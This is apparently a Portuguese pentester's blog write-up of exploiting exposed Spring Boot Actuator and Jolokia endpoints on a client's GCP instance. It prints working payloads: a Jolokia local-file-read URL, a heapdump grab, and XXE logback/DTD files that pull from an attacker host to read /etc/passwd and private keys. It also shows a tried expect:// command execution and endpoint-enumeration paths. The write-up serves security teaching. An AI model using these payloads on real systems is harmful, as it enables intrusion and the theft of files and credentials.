Diário de Um Pentester

Diário de um Pentester: Explorando o Actuator 1.2

Exploração da falha de configuração do JMX Jolokia

Fazendo análise em um ambiente aparentemente comum, observamos muitas consultas a um servidor “gateway.empresa.com.br”. Como esta URL não fazia parte do nosso escopo, deixamos ela para olhar em outro momento.

Ao dar continuidade no teste, fizemos scans de portas, enumeração de diretórios, tentativas de forçar uma recuperação de senha, para identificar como o sistema se comporta.

Então ficou mais evidente que tudo passava pelo “gateway” – Mas será que podemos tentar algo contra este alvo?

Pensamos: Se a aplicação se comunica com ele e é um subdomínio da “empresa.com.br”, decidimos analisar. Já tínhamos ideia de que enfrentaríamos um WAF pela frente, pois no cabeçalho das requisições apontava “Report-To”.

Ao consultar, identificamos que ele usava a “Cloudflare”. E o endereço IP do “gateway” respondia ao “Cloudflare”.

Tentamos diversas técnicas, para dar um bypass, sem sucesso. Tentamos ver se encontrávamos uma configuração falha, que vazasse o IP. Até então, sem sucesso.

Ao analisar a resposta de uma chamada quebrada, a aplicação retorna um erro “400 Bad Request”, porém ele retorna um JSON com alguns “remoteAddress”. Eles continham:

  • Meu IP
  • IP da Cloudflare
  • 2 IPs do Google
  • IP interno! isso mesmo IP interno vazado.

Neste momento não entendíamos por que havia o IP do Google, mas vamos rodar um scan de portas para um deles, e não retornou nada, porém no outro retornaram algumas portas abertas sendo, umas delas “80 e 443”. Ao acessar, recebemos a mensagem de erro “ocorreu um erro de comunicação em nossos servidores”. Neste momento pensamos que era algum serviço do “google” e tentamos algumas técnicas para ver o que conseguíamos aproveitar. Então rodamos o “Nuclei” para ver o que retornava e BINGO!!!

Resultado encontrado pelo Nuclei

Em “ssl-dns-names” retornou o nome do cliente 😃! Foi então que percebemos que os dois endereços e IP´s que identificamos como sendo do Google, na verdade era o endereço da instância dentro da Cloud (GCP).

Outros excelentes retornos foram os seguintes apontamentos:

[jolokia-unauthenticated-lfi] [http] [high] https://IP_CLIENTE/actuator/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd

[springboot-heapdump] [http] [critical] https://IP_CLIENTE/actuator/heapdump

Que coisa boa, pegamos um LFI e um HEAPDUMP, além do fato de identificar que a aplicação usa o “Actuator” e o “Jolokia”!

Com o LFI podemos ler arquivos de dentro do servidor. O HeapDump, é um dump de objetos que estão no heap java, e que estão em uso! Mas o que é “heap”? É um modelo de memória dinâmica da JVM.

Realizamos o acesso ao endereço vulnerável com o LFI, e conseguimos validar. Testamos acesso a “/etc/passwd” sem problemas e, ao tentar acessar o “shadow”, apresentou a mensagem “Could not load file”!

Arquivo /etc/passwd

Então vamos ver qual a versão do sistema, para isso, acessamos o caminho “/etc/issue.net”.

Arquivo /etc/issue.net

Conseguimos identificar que está rodando um Debian 10.

Então agora baixamos o “heapdump”!

Identificar o tipo de arquivo

Não conseguimos ler com o “cat”, porém conseguimos ler sem problema usando o comando “strings”! Pode não ser a melhor solução. Mais dado o tempo que tínhamos dava para usar.

Neste ponto conseguimos ver as chamadas das requisições, chamadas de arquivos “sem autenticação”, além de credenciais! Isso mesmo, credenciais em texto claro. 😃

Com o resultado do “heapdump” conseguimos ver credenciais, acesso a dados restritos “dados de cliente”, acesso a dados de usuários dos sistemas. Conseguimos ver até informações de outros sistemas.

Então é isso!

Opa, acho que tem mais coisa!!!

Lembramos de ter visto “/jolokia/exec/”, então fizemos algumas pesquisas sobre esta biblioteca e vimos que podemos tentar algo mais interessante. Quem sabe um RCE!

Para isso tentamos ver se conseguimos com que o servidor se comunique com alguma aplicação externa. Encontramos a chamada “ch.qos.logback.classic” e observamos que ela tem uma opção de carregar URL.


Ao estudar sobre a chamada, vimos que o parâmetro de requisição é:

“/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/https:!/!/ID_BurpCollaborator”

No teste, foi observado que ele possibilita a comunicação com o host externo e então fizemos o teste com o “BurpCollaborator” que se comunicou tranquilamente via “http”. Montamos a chamada abaixo, para forçar uma comunicação e ler inicialmente o “/etc/passwd”:

<?xml version=”1.0″ encoding=”utf-8″ ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM “http://IP-ATACANTE/file.dtd”>%remote;%int;]>
<a>&trick;</a>
Arquivo de logback.xml

<!ENTITY % d SYSTEM “file:///etc/passwd”>
<!ENTITY % int “<!ENTITY trick SYSTEM ‘:%d;’>”>
Arquivo file.dtd

Apesar da mensagem de erro 500, o servidor retornou os dados do “/etc/passwd”. Então tentamos outros arquivos, porém alguns apresentavam a mensagem de erro na leitura dos, pois no arquivo continham algumas “tags” que quebraram a leitura.

Então pensamos: Tem como executar algum comando?

E partimos para os estudos novamente e notamos que havia algumas formas possíveis para a realização. Alguns usavam a mesma estrutura que já temos, bastava alterar o parâmetro “file” por “expect” e ficou mais ou menos assim:

<!ENTITY % d SYSTEM “expect://hostname”>
Arquivo file.dtd

Porém o servidor sempre retornava “Protocolo Desconhecido”!

Tentar encodar em “base64” usando o PHP e, novamente, recebemos a mensagem de retorno “Protocolo Desconhecido”! Continuamos nas tentativas, porém sem sucesso.

Voltando aos estudos, identificamos que havia uma “função” que nos ajudaria a ler os arquivos sem quebrar – “CDATA

Então modificamos os arquivos, conforme descrito abaixo:

<?xml version=”1.0″ encoding=”utf-8″ ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM “http://IP-ATACANTE/file.dtd”>%remote;%int;]>
<a>&trick;</a>
Arquivo de logback.xml
<!ENTITY % file SYSTEM “file:////etc/passwd”>
<!ENTITY % start “<![CDATA[“>
<!ENTITY % end “]]>”>
<!ENTITY % int “<!ENTITY trick SYSTEM
‘%start;%file;%end;’>”>
Arquivo file.dtd

Em alguns arquivos o retorno melhorou, porém em outros ainda não era possível ler, pois quebravam.

Com o prazo de entrega chegando, resolvemos partir para o PLANO B e assim, se com essa chamada, nos conseguiríamos “Ler” e “listar diretorios


Realizamos o teste em alguns arquivos que estavam quebrando, usando a chamada abaixo, apontando o caminho sempre quebrado “/” usando “!/”:

https://IP_CLIENTE/actuator/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd

Agora sim!

Conseguimos ler alguns arquivos como o “. pem” “BEGIN RSA PRIVATE KEY

Como observamos, o PHP não está disponível, assim como a função “expect” e a “data”.

Infelizmente estas seriam as funções que iriam nos possibilitar a execução de comandos remotos na aplicação, porém espero que tenha conseguido dar ideia dos riscos. 😀

Base de Apoio:

Alguns pontos interessantes que devemos comentar:

Com este parâmetro, podemos fazer consultas às classes disponíveis
/actuator/jolokia/search/*:type=*
/actuator/jolokia/list

Com este comando conseguimos ver as configurações:
/actuator/jolokia/exec/jolokia:type=ServerHandler/mBeanServersInfo

Com este comando é retornado informações do sistema!
/actuator/jolokia/read/java.lang:type=Runtime/SystemProperties

Exibir mapeamentos do MVC
/actuator/mappings

O que é Spring Boot?

O Spring Boot é um Framework composto de vários recursos chamados atuadores (actuators) que auxiliam no monitoramento e gerência de aplicações WEB.

O que é Actuator?

Por meio dos atuadores (Actuators) é possível acessar os terminais dos servidores, com o intuito é monitorar as métricas do endpoint, mas ainda é possível ir muito além disso por meio desses atuadores como acessar os seguintes recursos:

  • /dump – exibe um dump de threads (incluindo um rastreamento de pilha)
  • /trace – exibe as últimas mensagens HTTP (que podem incluir identificadores de sessão)
  • /logfile – exibe o conteúdo do arquivo de log
  • /shutdown – desliga o aplicativo
  • /mappings – mostra todos os mapeamentos do controlador MVC
  • /env – fornece acesso ao ambiente de configuração
  • /restart – reinicia o aplicativo

Aqui já é possível ver que há uma brecha de segurança, abrindo um leque de vulnerabilidades a serem exploradas.

Não é que a utilização de atuadores seja uma falha de segurança, mas se durante a configuração do mesmo não haja critérios de hardening a serem seguidos o ambiente ficará todo exposto.

O que é Jolokia?

Jolokia é uma biblioteca que oferece diversas funcionalidades para o gerenciamento de aplicações com pouca necessidade de configuração, ele acaba servindo como uma ponte JMX sobre o protocolo HTTP, que permite aos administradores de sistemas acessarem suas funcionalidades MBeans e JMX.

Referências:

Por: Jeferson Gonzaga e Tiago Ferreira